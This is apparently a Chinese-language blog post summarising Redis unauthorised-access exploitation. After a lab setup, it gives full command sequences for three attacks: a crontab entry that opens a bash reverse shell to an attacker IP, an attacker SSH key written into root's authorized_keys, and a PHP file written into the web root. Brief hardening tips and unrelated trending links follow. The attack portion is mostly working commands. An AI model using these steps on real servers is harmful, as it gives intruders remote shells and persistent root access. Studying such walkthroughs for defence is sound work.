
Redis未授權(quán)訪問(wèn)漏洞利用總結(jié)
0x01 redis介紹
Redis是一個(gè)開源的使用ANSI C語(yǔ)言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫(kù),并提供多種語(yǔ)言的API。從2010年3月15日起,Redis的開發(fā)工作由VMware主持。從2013年5月開始,Redis的開發(fā)由Pivotal贊助。
Redis因配置不當(dāng)可以未授權(quán)訪問(wèn)。攻擊者無(wú)需認(rèn)證訪問(wèn)到內(nèi)部數(shù)據(jù),可導(dǎo)致敏感信息泄露,也可以惡意執(zhí)行flushall來(lái)清空所有數(shù)據(jù)。
攻擊者可通過(guò)EVAL執(zhí)行l(wèi)ua代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤寫入后門文件。
如果Redis以root身份運(yùn)行,可以給root賬戶寫入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器。
0x02 本地漏洞環(huán)境搭建
靶機(jī):CentOS6.5
CentOS安裝redis:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 make
修改配置文件,使可以遠(yuǎn)程訪問(wèn):
vim redis.conf
bind 127.0.0.1前面加上#號(hào) protected-mode設(shè)為no
啟動(dòng)redis-server
./src/redis-server redis-conf
默認(rèn)的配置是使用6379端口,沒有密碼。這時(shí)候會(huì)導(dǎo)致未授權(quán)訪問(wèn)然后使用redis權(quán)限寫文件。
0x03 攻擊測(cè)試
nmap掃描服務(wù)器開啟端口
1.redis基本命令
連接redis:
redis-cli -h 192.168.63.130
查看redis版本信息、一些具體信息、服務(wù)器版本信息等等:
192.168.63.130:6379>info
將變量x的值設(shè)為test:
192.168.63.130:6379>set x "test"
是把整個(gè)redis數(shù)據(jù)庫(kù)刪除,一般情況下不要用?。。?/span>
192.168.63.130:6379>flushall
查看所有鍵:
192.168.63.130:6379>KEYS *
獲取默認(rèn)的redis目錄、和rdb文件名:可以在修改前先獲取,然后走的時(shí)候再恢復(fù)。
192.168.63.130:6379>CONFIG GET dir 192.168.63.130:6379>CONFIG GET dbfilename
2.攻擊的幾種方法
(1).利用計(jì)劃任務(wù)執(zhí)行命令反彈shell
在redis以root權(quán)限運(yùn)行時(shí)可以寫crontab來(lái)執(zhí)行命令反彈shell
先在自己的服務(wù)器上監(jiān)聽一個(gè)端口
nc -lvnp 7999
然后執(zhí)行命令:
root@kali:~# redis-cli -h 192.168.63.130 192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n" OK 192.168.63.130:6379> config set dir /var/spool/cron/ OK 192.168.63.130:6379> config set dbfilename root OK 192.168.63.130:6379> save OK
nc監(jiān)聽端口已經(jīng)反彈回來(lái)shell
ps:此處使用bash反彈shell,也可使用其他方法
(2).寫ssh-keygen公鑰然后使用私鑰登陸
在以下條件下,可以利用此方法
- Redis服務(wù)使用ROOT賬號(hào)啟動(dòng)
- 服務(wù)器開放了SSH服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫入一個(gè)公鑰,直接登錄遠(yuǎn)程服務(wù)器。
首先在本地生成一對(duì)密鑰:
root@kali:~/.ssh# ssh-keygen -t rsa
然后redis執(zhí)行命令:
192.168.63.130:6379> config set dir /root/.ssh/ OK 192.168.63.130:6379> config set dbfilename authorized_keys OK 192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n" OK 192.168.63.130:6379> save OK
save后可以直接利用公鑰登錄ssh
(3).往web物理路徑寫webshell
當(dāng)redis權(quán)限不高時(shí),并且服務(wù)器開著web服務(wù),在redis有web目錄寫權(quán)限時(shí),可以嘗試往web路徑寫webshell
執(zhí)行以下命令
192.168.63.130:6379> config set dir /var/www/html/ OK 192.168.63.130:6379> config set dbfilename shell.php OK 192.168.63.130:6379> set x "<?php phpinfo();?>" OK 192.168.63.130:6379> save OK
即可將shell寫入web目錄(web目錄根據(jù)實(shí)際情況)
0x04 安全配置
- 限制登錄ip
- 添加密碼
- 修改默認(rèn)端口
[超站]友情鏈接:
四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級(jí)服務(wù)市場(chǎng):https://www.ijiandao.com/

隨時(shí)掌握互聯(lián)網(wǎng)精彩
- 1 潮涌天山活力新 7904566
- 2 央視起底柯克之死 7809733
- 3 中產(chǎn)運(yùn)動(dòng)三件套又換了 7713713
- 4 多領(lǐng)域重點(diǎn)工程傳來(lái)好消息 7619072
- 5 持槍空降兵在孩子前一動(dòng)不敢動(dòng) 7522231
- 6 比亞迪李云飛回應(yīng)巴菲特清倉(cāng) 7426063
- 7 內(nèi)蒙古一地集中采集男性居民血樣 7331767
- 8 安踏市值蒸發(fā)125億港元 7236543
- 9 浙江大學(xué)教授被留置 持股市值31億 7137821
- 10 特朗普兒子模仿爸爸引哄堂大笑 7046684